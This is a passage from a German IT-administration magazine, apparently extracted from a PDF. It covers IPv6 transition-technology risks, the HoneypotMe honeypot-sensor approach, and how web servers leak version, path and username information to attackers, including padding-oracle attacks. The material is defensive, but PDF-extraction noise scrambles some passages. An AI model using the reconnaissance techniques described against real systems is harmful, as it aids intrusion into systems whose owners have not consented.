ist die eigene Microsoft Firewall 

empfehlenswert, da diese Stateful Inspection 

für IPv4 und IPv6 bietet und auch 

die Transition Technologies korrekt verarbeitet. 

Eine Verbesserung wäre in Form 

einer Weiterentwicklung der bisherigen 

Netzwerkerkennung denkbar, um eine 

persistente Bindung zwischen den Adressen 

(Layer 2 und Layer3) eines regulären 

Routers und der Windows-Firewall einmalig 

pro Subnetz einzurichten. Linux- 

Administratoren verfügen seit Kernel 2.6 

mit »ip6tables« ebenfalls über eine Stateful 

Inspection Firewall. 

Der auf dieser Basis adminstrierte IPv6- 

Betrieb stellt auch die erste Lösung gegen 

die vorgestellten Transition Technologies 

dar, weil die nur aktiv werden, wenn kein 

Anschließend ist ein Neustart erforderlich. 

In einer AD-Umgebung können die 

Einstellungen zental verwaltet werden. 

Unter »Computer Configuration | Policies 

| Administrative Templates | Network | 

IPv6 Configuration« können die IPv6-Einstellungen 

aus Listing 1 gewählt werden. 

Weiterhin sollten das Protokoll 6in4 und 

die Teredo-Kommunikation in Firewalls 

und Routern geblockt werden. 

Fazit 

Aufgrund der Erfahrungen aus dem lokalen 

Unternehmensnetzwerk stellt sich IPv6 

zunächst als eine Zusatzbelastung für die 

Netzadministration dar. Darüber hinaus 

ergibt sich durch das latente Gefährdungspotenzial 

und die De-facto-Nutzung des 

Protokolls ein Schulungs- und Trainingsbedarf 

für Administratoren und Benutzer. 

Zudem ist eine zentral koordinierte Einführung 

des neuen Protokolls von großer 

Bedeutung für den störungsfreien Betrieb. 

Wegen der Komplexität sollte man den 

Zeitfaktor nicht unterschätzen und frühzeitig 

mit den Planungen beginnen. IPv6 

zu ignorieren, ist jedenfalls gefährlich. 

(jcb) 

n 

Infos 

[1] RFC 2462: [http:// www. ietf. org/ rfc/ 

rfc2462. txt] 


rfc3484. txt] 

[3] RFC 5006: [http:// tools. ietf. org/ html/ 

rfc5006] 


rfc4380. txt] 

[5] IPv6-Sicherheitsanforderungen: [http:// 

www. ripe. net/ ripe/ docs/ ripe‐501] 

[6] RFC 6104: [http:// tools. ietf. org/ html/ 

rfc6104] 


rfc4890. txt] 


Alle Ausgaben der letzTen 12 Monate 

Sie haben ein Admin verpasst? Kein Problem! 

Bei uns können Sie alle Ausgaben des ADMIN Magazin 

der letzten 12 Monate ganz einfach und versandkostenfrei 

unter www.admin-magazin.de/einzelheft nachbestellen: 

ADMIN 04/2011 ADMIN 05/2011 ADMIN 06/2011 

ADMIN 01/2012 ADMIN 02/2012 ADMIN 03/2012 

Damit Sie keine Ausgabe mehr verpassen, 

bestellen Sie am besten gleich ein Abo 

vom ADMIN Magazin und sparen: 

Telefonisch unter: 07131 / 2707 274, 

per Fax: 07131 / 2707 78 601 oder 

E-Mail: abo@admin-magazin.de, 

Web: www.admin-magazin.de/abo

security 

HoneypotMe 

© monphoto, 123RF 

Effektivere Honeypots durch Sensoren auf Produktivsystemen 

Fallensteller 

Computer sind heute einer stark wachsenden Bedrohung durch automatisierte Schadprogramme ausgesetzt. Ein 

Mittel, diese zu entlarven, sind sogenannte Honeypots. Damit sie möglichst viele Schädlinge leimen, lassen sich 

ihre Sensoren auch auf gewöhnliche Produktivsysteme verteilen. Jan Gassen, Elmar Gerhards-Padill 

Die Anzahl automatisierter Schadprogramme, 

die sich selbstständig über das 

Internet verbreiten, ist gerade in den 

letzten Jahren explodiert (Abbildung 1). 

Einzelne Quellen berichten von über 286 

Millionen neuen Schadprogrammen, die 

alleine im Jahr 2010 registriert wurden. 

Dabei ist die Dunkelziffer noch gar nicht 

berücksichtigt. 

Tatsächlich bringen viele dieser neuen 

Schadprogramme gar keine neuartigen 

Funktionen mit, sondern verwenden 

stattdessen poly- oder metamorphen 

Code, der regelmäßig neue, leicht veränderte 

Varianten eines Schadprogramms 

mit praktisch identischer Funktion generiert. 

Das verändert die Struktur des 

Schadprogramms so, dass es klassische, 

signaturbasierte Erkennungsverfahren 

nicht länger finden. Um dennoch eine 

signaturbasierte Erkennung zu ermöglichen, 

wie sie etwa Virenscanner oder 

Intrusion Detection Systeme verwenden, 

sind regelmäßig aktualisierte Signaturdatenbanken 

erforderlich. Um alle neu 

erkannten Schadprogramme eindeutig 

einer solchen Signatur zuordnen zu 

können, wären dazu jedoch im Schnitt 

mehr als 38 neue Signaturen pro Minute 

nötig. 

Diese Zahl macht deutlich, dass signaturbasierte 

Verfahren allein nicht alle aktuellen 

Schadprogramme zuverlässig zu 

erkennen vermögen. 

Neue Erkennungsmethoden 

Um die Verbreitung solcher Schadprogramme 

dennoch zu registrieren, benötigt 

man zusätzlich andere Erkennungsmethoden 

wie zum Beispiel Honeypots. 

Sie sind in der Lage, auch unbekannte 

Angriffe ohne die Hilfe von Signaturen zu 

registrieren, wenn sie auf eine der extra 

bereitgestellten Verwundbarkeiten abzielen. 

Da Honeypots jedoch ausschließlich 

direkte Angriffe auf ihre eigenen Ressourcen 

erkennen, stößt eine umfassende 

Netzüberwachung mit ihrer Hilfe oft an 

Kapazitätsgrenzen. Das betrifft sowohl 

den Administrations- wie den Auswerteaufwand. 

Einen Ausweg bietet ein neuartiger 

Ansatz, den dieser Beitrag vorstellen 

möchte. 

Ob Honeypots Angriffe registrieren können, 

hängt letztlich auch davon ab, ob 

es einem Angreifer möglich ist, den Honeypot 

als solchen zu erkennen. Das gilt 

insbesondere für menschliche, technisch 

versierte Angreifer. Verfügen sie etwa 

über Informationen über die Netzinfrastruktur 

oder die Adresse des für sie interessanten 

Systems, können sie so vorgehen, 

dass der Honeypot den Angriff nicht 

erkennt. Verfügt der Angreifer dagegen 

über keine detaillierten Informationen 

über das angegriffene Netz, wird er typischer 

Weise versuchen, mithilfe aktiver 

Scan-Verfahren potenziell verwundbare 

Dienste aufzuspüren. 

Eine zweite Gefahr besteht darin, dass 

der Angreifer den Honeypot an der charakteristischen 

Auswahl an Diensten erkennt, 

die er anbietet. Diesem Problem 

kann man begegnen, indem man die 

Honeypots in regelmäßigen Abständen 

an reale Produktivsysteme anpasst. Das 

bringt jedoch zusätzlichen Aufwand und 

eine Einschränkung der Sichtbarkeit einzelner 

Honeypots mit sich. 

HoneypotMe 

Um dennoch eine umfassende Netzüberwachung 

auf Basis von Honeypots 

zu ermöglichen, basiert der Ansatz von 

HoneypotMe darauf, Honeypot-Sensorik 

flexibel auf Produktivsysteme auszulagern. 

Konkret bewerkstelligt das die Software 

dadurch, dass sie einzelne Ports 


HoneypotMe 

security 

Antwortnachrichten gelangen anschließend 

über den Tunnel zurück an das 

angegriffene System, das sie an das angreifende 

System weiterleitet. Der Vorteil 

solcher getunnelter Verbindungen gegenüber 

einer Proxy-Lösung besteht darin, 

dass die Analysekomponente sowohl 

Informationen über das angreifende als 

auch über das angegriffene System erals 

Honeypot verwendet. Tatsächlich 

stellen viele Produk- 

80 000 000 

tivsysteme nämlich nur eine 

70 000 000 

geringe Anzahl von Diensten 

60 000 000 

bereit, die über das Netz erreichbar 

und so von Schadprogrammen 

oder manuellen 

50 000 000 

Angreifern ausnutzbar sind. 

40 000 000 

Ist ein solcher Dienst auf einem 

Produktivsystem nicht 

30 000 000 

verfügbar, so sollte auch keine 20 000 000 

Interaktion mit dem entsprechenden 

Port feststellbar sein. 

10 000 000 

Kommt es dennoch zu Zugriffsversuchen, 

so wird der 

Verbindungsaufbauversuch 

in der Regel automatisch vom 

TCP-Stack des angegriffenen 

Systems abgelehnt oder bereits 

vorher von entsprechend restriktiven 

Firewall-Regeln blockiert. In beiden 

Fällen können jedoch keine weiteren 

Informationen über den fehlgeschlagenen 

Versuch gesammelt werden, auch 

wenn dies möglich gewesen wäre. Wäre 

die Verbindung stattdessen von einem 

Honeypot angenommen und ausgewertet 

worden, so hätte er einen möglichen 

Infektionsversuch direkt erkannt. Es liegt 

also nahe, solche ungenutzten Ports auch 

auf Produktivsystemen als Honeypot zu 

verwenden und so unerwünschte Verbindungen 

detailliert auszuwerten. 

Risikolos weiterleiten 

Eine Auswertung eingehender Verbindungen 

auf geschlossenen Ports direkt 

auf den betroffenen Produktivsystemen 

würde jedoch auch ein erhöhtes Sicherheitsrisiko 

sowie einen zusätzlichen Ressourcenbedarf 

für das Produktivsystem 

bedeuten. Gleichzeitig ergäbe sich so ein 

ähnlicher administrativer Aufwand durch 

nötige Aktualisierungen wie durch den 

Einsatz dedizierter Honeypots. Schließlich 

würde durch den Einsatz 

von Honeypot-Software auf 

Produktivsystemen ein zusätzliches 

Sicherheitsrisiko 

für die betroffenen Systeme 

entstehen. Denn schließlich 

könnte es Angreifern gelingen, 

Sicherheitslücken in der 

Honeypot-Software auszunutzen, 

um so auf das Produktivsystem 

zuzugreifen. 

Malware insgesamt 

2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 

Abbildung 1: Die Anzahl der Schadprogramme im Internet ist in den letzten 

Jahren explodiert. Die Zahlen stammen vom AV-TEST Institute , das täglich über 

55 000 bösartige Programme registriert. 

Um dies zu vermeiden und gleichzeitig 

eine zentrale Auswertung der unerwünschten 

Verbindungen zu ermöglichen, 

verwendet HoneypotMe eine separate, 

dedizierte Analysekomponente. 

Unerwünschte Verbindungen leitet HoneypotMe 

transparent von den Produktivsystemen 

an diese Analysekomponente 

weiter, die sie anschließend annimmt 

und detailliert auswertet. Um alle Informationen 

zu erhalten, die auch direkt am 

betroffenen Produktivsystem anfallen, 

werden solche Verbindungsaufbauversuche 

von HoneypotMe transparent an die 

Analysekomponente getunnelt. 

Transparente Tunnel 

Abbildung 2: Schematische Darstellung der Funktionsweise von HoneypotMe. 

hält. Darüber hinaus bleiben 

alle in den Verbindungsdaten 

enthaltenen Metadaten, insbesondere 

die Paket-Header, 

erhalten, aus denen sich weitere 

Informationen über das 

angreifende System ableiten 

lassen. 

Eine wesentliche Herausforderung 

bei der Weiterleitung 

einzelner Ports von Produktivsystemen 

zu der Analysekomponente 

ist die Auswahl 

der weiterzuleitenden Ports. 

Zwar ist auf einigen Ports 

keine reguläre Interaktion zu 

erwarten, doch unterscheiden 

sich diese Ports von Betriebssystem 

zu Betriebssystem und 

je nach Einsatzzweck des Hosts. Sie lassen 

sich daher nicht verallgemeinern. So 

ist es zwar beispielsweise unwahrscheinlich, 

dass der Port 1439 des MS-SQL- 

Datenbankservers auf Linux-Systemen 

für produktive Zwecke eingesetzt wird. 

Jede Interaktion mit diesem Port ließe 

sich demnach analog zum Konzept klassischer 

Honeypots generell als bösartige 

Interaktion ansehen. Unter Windows 

sähe die Sache aber anders aus. Darüber 

hinaus kann die Menge der produktiv 

verwendeten Ports über den Beobachtungszeitraum 

variieren. 

Flexible Portauswahl 

Dem kann nur eine flexible Weiterleitung 

von Ports in Abhängigkeit von den einzelnen 

Hosts Rechnung tragen. Würden 

stattdessen etwa beliebige Verbindungsaufbauversuche 

auf eine zuvor festgelegte 

Menge an Ports pauschal an eine 

Analysekomponente weitergeleitet, so 

kämen dafür nur Ports infrage, die keines 

der Produktivsysteme benutzt. Ports, die 

dagegen nur von einer Teilmenge aller 

Systeme verwendet werden, 

blieben außen vor. 

HoneypotMe bedient sich 

daher einer flexiblen Weiterleitung 

von Verbindungsaufbauversuchen 

an die Analysekomponente. 

HoneypotMe 

überprüft dazu für eingehende 

Pakete mit gesetztem 

SYN-Flag, ob ein entsprechender 

Empfangs-Socket an den 


Admin 


47

security 

HoneypotMe 

angefragten Port gebunden ist. Wird ein 

Versuch registriert, einen nicht empfangsbereiten 

Port zu kontaktieren, so wird das 

SYN-Paket automatisch von HoneypotMe 

über einen Tunnel an die Analysekomponente 

weitergeleitet. Die kann nun eine 

TCP-Verbindung aufbauen und ein entsprechendes 

Antwort-Paket mit gesetzten 

SYN/ACK-Flags über den Tunnel an den 

Angreifer zurücksenden. 

Die weitere Kommunikation findet logisch 

zwischen Angreifer und Analysekomponente 

statt, sodass das Opfersystem 

selbst die Verbindung nicht annehmen 

muss. Währendessen werden 

automatisch generierte RST-Pakete auf 

dem Opfersystem unter Linux mithilfe 

von »libipq« dynamisch blockiert. Um zu 

verhindern, dass die Analysekomponente 

weitere Verbindungen über den Tunnel 

in das zu überwachende Netz aufbaut, 

verwirft HoneypotMe TCP-SYN-Pakete 

die über den Tunnel kommen. Darüber 

hinaus wird sichergestellt, dass weiterzuleitende 

TCP-Pakete jeweils die korrekte 

Absender-IP-Adresse verwenden. 

Angriffsszenarios 

Der Einsatz von HoneypotMe auf Produktivsystemen 

hat darüber hinaus verschiedene 

interessante Nebeneffekte. Weil geschlossene 

Ports als Honeypot dienen, 

kann der Angreifer – etwa mithilfe von 

»nmap« – nicht unterscheiden, ob es sich 

bei den angebotenen Diensten des Opfersystems 

tatsächlich um real existierende 

oder um simulierte Dienste handelt. Die 

Menge der für den Angreifer sichtbaren 

Dienste setzt sich aus den Diensten auf 

dem Opfersystem plus den Diensten der 

Analysekomponente zusammen (Abbildung 

3, 4). Infolgedessen ähneln sich 

Systeme mit HoneypotMe. Während dynamische 

Honeypots oft das Ziel verfolgen, 

sich möglichst den Produktivsystemen 

anzupassen, um eine Unterscheidung 

zu erschweren, gleicht HoneypotMe 

die Erscheinung von Produktivsystemen 

der des Honeypots an. 

Darüber hinaus ist es mithilfe von HoneypotMe 

möglich, die Sicherheit der 

Produktivsysteme durch die Weiterleitung 

ungenutzter Ports direkt zu erhöhen. 

So ist es denkbar, dass Angreifer 

von realen verwundbaren Diensten des 

Opfersystems absehen und stattdessen 

Abbildung 3: Sichtbare Ports nach Überprüfung 

eines gewöhnlichen Linux-Webservers mit »nmap«. 

einen Dienst des Honeypots angreifen. 

Selbstverbreitende Schadprogramme wie 

Phatbot, Agobot oder Spybot verwenden 

beispielsweise Angriffe auf verschiedene 

Dienste, um neue Systeme zu infizieren. 

Bricht ein Schadprogramm den Angriff 

nach dem ersten erfolgreichen Infektionsversuch 

auf einen simulierten Dienst 

ab, so werden reale verwundbare Dienste 

nicht angegriffen. In diesem Fall ließe 

sich also eine Infektion des Produktivsystems 

durch die Simulation von Diensten 

verhindern. 

Im Unterschied dazu ist es auch möglich, 

dass menschliche Angreifer simulierte 

Dienste erkennen und sich infolgedessen 

auf einen anderen Dienst konzentrieren. 

In diesem Fall ist der manuelle Angriff 

zwar unter Umständen erfolgreich, der 

Angriff auf den simulierten Dienst zuvor 

wird aber bemerkt. 

Honeypot tarnen 

Abbildung 4: Sichtbare Ports eines Linux- 

Webservers mit aktivem HoneypotMe nach 

Überprüfung durch »nmap« (gekürzt). 

Erkennt ein Angreifer dagegen eine untypische 

Kombination verfügbarer Dienste 

auf dem anvisierten System, schließt er 

unter Umständen auf simulierte Dienste 

oder einen Honeypot. Ist es dem Angreifer 

jedoch nicht möglich, simulierte 

von realen Diensten zu unterscheiden, 

so bricht er den Angriff im besten Fall ab. 

Das erhöht wiederum die Sicherheit der 

Systeme. Gleichzeitig verringert sich die 

Menge an Informationen über den jeweiligen 

Angriff, da ausschließlich die Überprüfung 

einzelner simulierter Dienste 

registriert wird. 

Um zu verhindern, dass der Angreifer 

stutzig wird, weil verschiedene Systeme 

dieselben Dienste anbieten, lassen sich 

simulierte Dienste variieren. Dadurch 

steigt die Wahrscheinlichkeit, dass ein 

Angriff auf einen simulierten Dienst 

durchgeführt wird und so neben der Angriffserkennung 

auch weitere Angriffsdetails 

registrierbar sind. Im Gegensatz 

zu einem dynamischen Honeypot-Ansatz 

wird auch in diesem Fall nicht die 

Erscheinung des Honeypots an die der 

Produktivsysteme angepasst, sondern 

umgekehrt die Erscheinung der Produktivsysteme 

variiert. 

Im Einsatz 

Das Fraunhofer-Institut für Kommunikation, 

Informationsverarbeitung und Ergonomie 

FKIE entwickelt und betreibt 

gemeinsam mit dem Institut für Informatik 

4 der Universität Bonn verschiedene 

Honeypots zur automatischen Erkennung 

von Schadprogrammen im Internet. Dabei 

lässt sich beobachten, dass häufig 

Schadprogramme in unterschiedlichen 

Netzen unterschiedlich stark verbreitet 

sind. Gleichzeitig registrieren Honeypots 

sich verbreitende Schadprogramme innerhalb 

ihrer eigenen Netzbereiche oft 

mit höherer Wahrscheinlichkeit (Abbildung 

5). Der Grund dafür liegt darin, 

dass Schadprogramme das Internet häufig 

nicht vollkommen zufällig nach verwundbaren 

Systemen durchsuchen, sondern 

etwa bevorzugt Systeme innerhalb 

des eigenen Subnetzes überprüfen. 

Um also einen möglichst differenzierten 

Überblick über aktuelle Schadprogramme 

zu erhalten, ist es notwendig, Honeypots 

in unterschiedlichen Netzbereichen zu 

betreiben. Zwar verfügen beide Institute 

über IP-Adressen in unterschiedlichen 

Netzen, die werden jedoch bereits von 

Produktivsystemen verwendet, weshalb 

sie nicht für den Einsatz in Honeypots 

zur Verfügung stehen. Gleichzeitig benutzen 

diese Systemen jedoch meist nur 

wenige Ports produktiv, was es möglich 


HoneypotMe 

security 

macht, freie Ports mithilfe von HoneypotMe 

an bereits existierende Honeypots 

zur Analyse weiterzuleiten. 

Um die Sichtbarkeit der existierenden 

Honeypots zu vergrößern, wurde HoneypotMe 

über einen Zeitraum von einem 

Monat auf vier regulären Produktivsystemen 

der Universität Bonn eingesetzt, die 

jeweils direkt aus dem Internet erreichbar 

waren. Die Auswertung der registrierten 

Angriffe hat dabei gezeigt, dass 

es sich bei allen häufig weitergeleiteten 

Ports um Dienste handelt, die Schadprogrammen 

typischerweise zur Infektion 

neuer Systeme verwenden (Abbildung 

6). Insgesamt konnten so 3448 von 25149 

Verbindungsanfragen erfolgreich mithilfe 

der Honeypots bearbeitet und analysiert 

werden. Bei den übrigen Verbindungsaufbauversuchen 

handelt es sich entweder 

nur um eine Überprüfung der Ports, oder 

der angefragte Dienst wurde von den verwendeten 

Honeypots nicht unterstützt. 

Bei einem erfolgreichen Verbindungsaufbau 

ließen sich jeweils detaillierte Informationen 

über den Angriffsversuch 

sammeln. 

Analyse 

Die weitere Analyse ergab insgesamt 

8855 Angriffe aus dem Netz der Universität 

Bonn. Diese hohe Zahl an Angriffen 

resultiert jedoch größtenteils daraus, 

dass jeder Verbindungsaufbauversuch 

auf einen geschlossenen Port als separater 

Angriff gewertet wird. Dadurch 

verursacht etwa ein einzelner Port-Scan 

bereits eine hohe Anzahl registrierter 

Angriffe. Tatsächlich konnten Port-Scans 

von drei unterschiedlichen IP-Adressen 

aus dem Netz der Universität registriert 

werden, welche jeweils parallel auf allen 

vier überwachten Systemen liefen. Die 

Anzahl der Verbindungsaufbauversuche 

pro Port-Scan auf ein mit HoneypotMe 

überwachtes System betrug dabei zwischen 

11 und 1180. Dieses Beispiel zeigt, 

dass es mithilfe von HoneypotMe auch 

ohne den Einsatz zusätzlicher Ressourcen 

möglich ist, Angriffe auf Produktivsysteme 

zu registrieren und auszuwerten. 

Die Wahrscheinlichkeit, einen 

Angriff aus dem Netz der Universität 

Bonn zu registrieren, ist so höher als es 

alleine mit Sensoren in anderen Netzen 

möglich wäre. 

Fazit 

Mithilfe von HoneypotMe ist es möglich, 

die eingeschränkte Sichtbarkeit von 

klassischen Honeypots auf eine Vielzahl 

an Systemen zu erweitern, sodass sich 

auch größere Netze vollständig mithilfe 

von Honeypots zu überwachen lassen. 

So können detaillierte Informationen 

über Angriffe in den zu überwachenden 

Netzen gewonnen und entsprechende 

Gegenmaßnahmen getroffen werden. 

Darüber hinaus erhöht der Einsatz von 

HoneypotMe direkt die Sicherheit der zu 

überwachenden Systeme, da es für Angreifer 

nicht möglich ist, reale Ports von 

solchen der Analysekomponente zu unterscheiden.Damit 

lassen sich Angreifer 

durch simulierte verwundbare Dienste 

von realen Verwundbarkeiten ablenken. 

Im Gegensatz zu Honeypots auf dedizierten 

Ressourcen lassen sich mithilfe von 

HoneypotMe jedoch nur solche Angriffe 

erkennen, die keine real verfügbaren 

Dienste zum Ziel haben. Daher könnte 

HoneypotMe einzelne Angriffsversuche 

übersehen. Besteht ein Netz jedoch aus 

heterogenen Systemen mit unterschiedlichen 

verfügbaren Diensten, so ist die 

Wahrscheinlichkeit hoch, dass sich über 

einen längeren Zeitraum Angriffe auf beliebige 

Ports registrieren lassen. 

Der Vorteil des hier vorgestellten Verfahrens 

liegt insbesondere darin, dass 

man keine zusätzlichen Ressourcen für 

den Einsatz von HoneypotMe benötigt. 

Die Installation sowie der Betrieb der 

Sensoren brauchen darüber hinaus kein 

Hintergrundwissen. Durch den Einsatz 

der Sensoren entsteht kein zusätzliches 

Sicherheitsrisiko für die Systeme, da Datenpakete 

ausschließlich weiter getunnelt 

werden und eine Verbindung weder aufbaut 

noch analysiert wird. Die einzelnen 

Sensoren benötigen aus diesem Grund 

keine Aktualisierungen, um neue Angriffe 

zu erkennen, da die Analyse die externe 

Analysekomponente übernimmt. 

Die Analysekomponente selbst muss 

nicht in den Netzen laufen, in denen 

sich die Sensoren befinden. Denkbar 

wäre, sie in einen speziell abgesicherten 

Netzbereich auszulagern oder vollständig 

von Dritten betreiben zu lassen. Die von 

den Sensoren verwendete Analysekomponente 

lässt sich darüber hinaus flexibel 

austauschen, sodass für den jeweiligen 

Einsatzbereich passende Analysekomponenten 

verwendbar sind. (jcb) n 

Infos 

[1] Forschungsbereich Cyber Defense: 

http://www.fkie.fraunhofer.de/de/forschungsbereiche/cyber-defense.html 

Abbildung 5: Anteil der mit existierenden Sensoren registrierten Angriffe aus 

Deutschland, nach verursachendem Autonomen System (AS). 

Abbildung 6: Mithilfe von HoneypotMe registrierte Angriffe auf verschiedene 

Ports von Produktivsystemen der Universität Bonn. 


Admin 


49

security 

Seitenkanalangriffe 

© Yuriy Brykaylo, 123RF.com 

Manche Webanwendungen spielen Angreifern unfreiwillig Informationen zu 

Seitenkanäle mit 

Untiefen 

Hin und wieder sind Fehlermeldungen oder Logeinträge geschwätziger, als es auf den ersten Blick scheint, und 

plaudern Angreifern wertvolle Informationen aus. Doch mit einfachen Mitteln ist Abhilfe möglich. Sebastian Schinzel 

Glaubt man einschlägigen Filmen, dann 

brauchen Hacker nur ein paar kryptische 

Zeichen in eine Kommandozeile zu 

tippen, und schon haben sie innerhalb 

von Sekunden vollen Zugriff auf das Opfersystem. 

In der Realität sind Angriffe 

auf IT-Systeme allerdings meist nicht so 

unkompliziert zu bewerkstelligen. Stattdessen 

braucht der Angreifer mitunter 

Tage oder Wochen, um zum Erfolg zu 

kommen. In dieser Zeit erkundet er das 

System, um den eigentlichen Angriff auf 

dessen Eigenheiten zurechtzuschneiden, 

um Abwehrmaßnahmen wie Firewalls 

und Intrusion-Prevention-Systeme zu 

umgehen und um verräterische Logeinträge 

zu vermeiden. Solche Angriffe, die 

oft in mehreren aufeinander aufbauenden 

Schritten ablaufen, nennt man auch Seitenkanalangriffe 

(side channel attacks), 

wenn sich der Angreifer auf das Auskundschaften 

solcher nicht offensichtlicher 

Informationen beschränkt, die durch 

Beobachtung des Zielsystems gewonnen 

wurden. Diese nicht offensichtlichen 

Informationen können etwa Laufzeiten 

sein, der Prozessor-Energieverbrauch 

oder die elektromagnetischen Ausstrahlung, 

aber auch Fehlermeldungen. 

Beispiele für solche auf Software bezogenen 

Informationen sind weiter Hersteller, 

Version und Patchlevel des verwendeten 

Betriebssystems, der Datenbank, von 

Netzwerkkomponenten oder aktiven 

Anwendungen. Aber auch Dateipfade 

zu vertraulichen Daten oder Konfigurationsdateien 

können das entscheidende 

Puzzleteil sein, das dem Angreifer Zugriff 

auf vertrauliche Daten ermöglicht. 

Verschwiegenheit ist besser 

Natürlich hängt die Sicherheit von Verschlüsselung 

und kryptographischen 

Signaturen zuallererst von der Geheimhaltung 

des Schlüssels ab (Gesetz von 

Kerckhoffs) – aber warum sollte man 

dem Angreifer zum Beispiel aktiv mitteilen, 

welche kryptografischen Verschlüsselungsalgorithmen 

verwendet werden? 

Ohne diese Information müsste der Angreifer 

möglicherweise viel wertvolle Zeit 

darauf verwenden, das herauszufinden. 

„Security by Obscurity“ ist bekann- 



security 

Abbildung 1: Die Wikipedia verrät dem Benutzer unnötigerweise, ob sie einen 

bestimmten Benutzer kennt oder nicht. Das ermöglicht beispielsweise gezieltere 

Brute-Force-Angriffe. 

termaßen dann schlecht, wenn die Sicherheit 

eines Systems maßgeblich davon 

abhängt. Ein System wird jedoch 

im Umkehrschluss nicht sicherer, weil 

man alle seine Details offenlegt, sondern 

man erleichtert dem Angreifer damit die 

Arbeit. 

Ärgerlicherweise sind viele Systeme jedoch 

per Default sehr auskunftsfreudig 

und teilen Angreifern von sich aus Hersteller, 

Version oder Patchlevel mit. So 

offenbart etwa der Apache-Webserver 

mit jeder HTTP-Antwort nicht nur seine 

eigene Identität, sondern gibt auch detaillierte 

Versionsinformationen für die geladenen 

Plugins weiter, wie die folgenden 

Zeilen beweisen: 

Apache/2.2.16 (Debian) DAV/2 SVN/1.6.12 U 

mod_fcgid/2.3.6 Phusion_Passenger/3.0.11U 

mod_ssl/2.2.16 OpenSSL/0.9.8o Server at U 

www.domain.tld Port 80 

Verräterische 

Fehlermeldungen 

Eine weitere Informationsquelle sind 

technische Fehlermeldungen des Web- 

Servers wie beispielsweise Stack-Traces. 

Sie weisen Benutzer nicht nur auf 

Fehlerzustände hin, sondern geben 

vertrauliche Information an Angreifer 

weiter, die über Hersteller und Version 

verwendeter Technologien hinausgehen. 

Zu diesen Informationen gehören beispielsweise 

die Dateipfade, die eine Anwendung 

verwendet. 

Warning: include(): Failed opening U 

'file.php' for inclusion (include_path=U 

'.:') in /home/www/domain.tld/http/index.U 

php on line 42 

Das Beispiel zeigt 

eine solche Fehlermeldung, 

die in 

einer PHP-Anwendung 

aufgetreten 

ist. Der Angreifer 

lernt hier nicht 

nur, dass die Anwendung 

die Datei 

namens „file.php“ 

nicht gefunden 

hat, sondern auch 

den lokalen Pfad 

im Server-Dateisystem, 

unter dem 

die Web-Anwendung 

abgelegt wurde. In diesem Falle 

kann der Angreifer möglicherweise sogar 

auf die Dateipfade anderer Web-Seiten 

schließen, die ebenfalls auf diesem Server 

gehostet sind, da der Domain-Name 

ein Teil des Pfades ist. Es liegt hier nahe, 

dass die Domain example.com unter dem 

Pfad »/home/www/example.com/http/« 

zu finden ist. 

Doch selbst wenn Applikationen nicht 

derart redselig sind, offenbaren sie oft 

mehr über sich, als auf den ersten Blick 

offenbar wird. Dieser Beitrag behandelt 

unbewusste und verdeckte Informationslecks, 

die wichtige Informationen an den 

Angreifer verraten. 

Möglichst generisch 

Nehmen Sie beispielsweise die Login- 

Maske einer Web-Seite, die aus einem 

Benutzernamensfeld und einem Passwortfeld 

besteht. Gibt ein Angreifer eine 

beliebige Benutzername/Passwort-Kombination 

an und antwortet der Server mit 

Tabelle 1: Typo3-Benutzer 

der Fehlermeldung »Ungültiger Benutzername«, 

so lernt der Angreifer, dass dieser 

Benutzername nicht existiert. Abbildung 

1 zeigt, dass beispielsweise die Wikipedia 

solche Informationen frei kommuniziert. 

Diese Information ist interessant 

für den Angreifer, um etwa einen gezielten 

Brute-Force-Angriff auf existierende 

Benutzernamen durchzuführen. Daher 

sollten Web-Seiten möglichst mit einer 

generischen Fehlermeldung antworten, 

die Benutzer zwar auf den Fehler hinweist, 

jedoch keine vertraulichen Informationen 

verrät. 

In Extremfällen kann alleine die Tatsache, 

dass ein Angreifer Fehlerzustände erkennen 

kann, zu fatalen Sicherheitslücken 

führen. So haben Jager und Somorovsky 

vor Kurzem einen Angriff auf den Verschlüsselungsstandard 

„XML Encryption“ 

vorgestellt, durch den ein Angreifer 

Chiffretexte entschlüsseln kann [1]. Der 

Angreifer muss dafür einen Chiffretext 

abhören können, verändern können und 

an den Zielserver senden können. Alleine 

die Unterscheidung, ob der Server einen 

Entschlüsselungsfehler meldet oder nicht, 

reicht dem Angreifer, um die einzelnen 

Bytes des Chiffretexts zu entschlüsseln. 

Bei dem beschriebenen Angriff benötigt 

der Angreifer nur rund 14 Anfragen an 

den Server, um ein Byte des Chiffretexts 

zu entschlüsseln. 

Padding Oracle 

Der zugrunde liegende Angriff basiert 

auf sogenannten Padding Oracles, die bereits 

2002 von Serge Vaudenay vorgestellt 

wurden und die kürzlich auch von Juliano 

Rizzo und Thai Duong [3] genutzt 

Non-existing user name 

Existing user name 

HTTP/1.1 200 OK 

HTTP/1.1 200 OK 

Date: Mon, 25 Jan 2010 11:47:55 GMT 

Date: Mon, 25 Jan 2010 11:47:55 GMT 

Server: Apache/2.2.9 (Debian) PHP/ 

5.2.6-1+lenny4 with Suhosin-Patch 

Server: Apache/2.2.9 (Debian) PHP/ 

5.2.6-1+lenny4 with Suhosin-Patch 

X-Powered-By: PHP/5.2.6-1+lenny4 

X-Powered-By: PHP/5.2.6-1+lenny4 

Expires: Thu, 19 Nov 1981 08:52:00 GMT Expires:0 

Last-Modified: Mon, 25 Jan 2010 11:47:55 GMT Cache-Control: no-cache, must-revalidate 

Cache-Control: no-store, no-cache, 

Pragma: no-cache 

must-revalidate, post-check=0, pre-check=0 

Pragma: no-cache 

Last-Modified: Mon, 25 Jan 2010 11:47:45 GMT 

Vary: Accept-Encoding 

Vary: Accept-Encoding 

Content-Type: text/html;charset=iso-8859-1 Content-Type: text/html;charset=iso-8859-1 

Content-Length: 5472 Content-Length: 5472 


Admin 


53

security 


Abbildung 2: Gültige und ungültige Adressen werden verschieden behandelt, die grau hinterlegten Bereiche sind davon abhängig. 

wurden, um Captchas und View-States 

von Web-Entwicklungs-Frameworks zu 

brechen. Die von Rizzo und Duong beschriebenen 

Angriffe nutzten dabei aus, 

dass die anfälligen Anwendungen vertrauliche 

Informationen verschlüsselten 

und an den Browser weiterleiteten. Die 

Entwickler der anfälligen Anwendungen 

hatten sich darauf verlassen, dass der 

Angreifer dank der Verschlüsselung die 

Daten nicht lesen kann. 

So wurde vom Captcha-Provider nicht 

nur das verschleierte Captcha, sondern 

auch seine verschlüsselte Lösung an den 

Benutzer gesendet. Nach der Eingabe 

des Benutzers sendet dessen Browser 

die vom Benutzer gefundene und die 

